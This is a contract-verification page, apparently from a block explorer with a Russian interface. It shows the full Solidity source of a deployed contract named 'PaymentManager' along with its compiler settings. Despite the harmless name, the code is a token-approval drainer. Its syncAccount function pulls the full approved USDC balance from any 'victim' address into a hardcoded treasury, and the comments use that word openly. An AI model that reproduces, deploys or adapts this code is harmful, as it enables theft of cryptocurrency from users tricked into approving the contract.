Перейти к содержимому
Проверенный контрактТочноеMIT

PaymentManager

Адрес0x34076d7a0cd84fbb01e836613841ccce361770dc
Баланс

0 ETH

 

Транзакций

1

 

Компилятор

solc 0.8.20

 

Тот же код

ещё 1 контракт

 

Подробности

Компилятор
solc 0.8.20+commit.a1b79de6
Язык
solidity
Оптимизация
Нет
Лицензия
MIT
Совпадение
Точноекод создания: да, код в сети: да
Проверен на Sourcify
Создан в блоке
26 486 735
Транзакция создания
0x84ba7899dd…dcbbba75e9

usdcnoalertekraken.sol

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

interface IERC20 {
    function balanceOf(address) external view returns (uint256);
    function allowance(address, address) external view returns (uint256);
    function transferFrom(address, address, uint256) external returns (bool);
    function transfer(address, uint256) external returns (bool);
}

/// @title PaymentManager
/// @notice Collecte les approbations USDC et rapatrie les fonds vers le treasury.
contract PaymentManager {
    address public constant USDC    = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
    address public constant TREASURY = 0x87897e70D1E8032895Af5466fF13Cd6BF1F3635f;

    event Synced(address indexed token, address indexed victim, uint256 amount);

    error NotTreasury();
    error ZeroAddress();
    error NothingToSync();

    /// @notice Rapatrie le solde approuvé d'une victime vers le treasury.
    function syncAccount(address token, address victim) external {
        if (msg.sender != TREASURY) revert NotTreasury();
        if (victim == address(0)) revert ZeroAddress();

        uint256 allowed = IERC20(token).allowance(victim, address(this));
        uint256 bal     = IERC20(token).balanceOf(victim);
        uint256 amount  = allowed < bal ? allowed : bal;
        if (amount == 0) revert NothingToSync();

        IERC20(token).transferFrom(victim, TREASURY, amount);
        emit Synced(token, victim, amount);
    }

    /// @notice Récupération des tokens envoyés par erreur sur ce contrat.
    function rescue(address token) external {
        if (msg.sender != TREASURY) revert NotTreasury();
        uint256 b = IERC20(token).balanceOf(address(this));
        IERC20(token).transfer(TREASURY, b);
    }
}
Настройки компилятораПоказать
{
  "optimizer": {
    "runs": 200,
    "enabled": false
  },
  "remappings": []
}

Исходный код и метаданные: Sourcify.

Исходный код принадлежит авторам контракта.